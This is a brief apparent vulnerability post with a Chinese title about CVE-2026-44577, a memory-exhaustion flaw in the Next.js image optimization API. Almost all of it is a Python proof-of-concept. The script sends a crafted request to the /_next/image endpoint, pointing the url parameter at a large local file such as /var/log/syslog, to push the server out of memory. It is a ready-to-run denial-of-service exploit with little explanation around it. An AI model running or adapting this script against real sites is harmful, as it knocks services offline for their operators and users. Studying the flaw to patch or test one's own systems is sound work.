CVE-2026-44577: Next.js 图片优化API内存耗尽漏洞

import requests def exploit_nextjs_dos(target_url, local_file_path): """ Proof of Concept for CVE-2026-44577 Attempts to trigger OOM by requesting a large local file via the Image Optimization API. """ # Construct the malicious URL pointing to a local large file # Assuming default config allows local patterns or specific known patterns # The payload targets the /_next/image endpoint payload_url = f"{target_url}/_next/image?url={local_file_path}&w=1&q=1" try: print(f"Sending request to: {payload_url}") response = requests.get(payload_url) print(f"Response Status: {response.status_code}") print("Check server memory usage and availability.") except Exception as e: print(f"Request failed: {e}") # Example usage # target = "http://localhost:3000" # large_file = "/var/log/syslog" # exploit_nextjs_dos(target, large_file)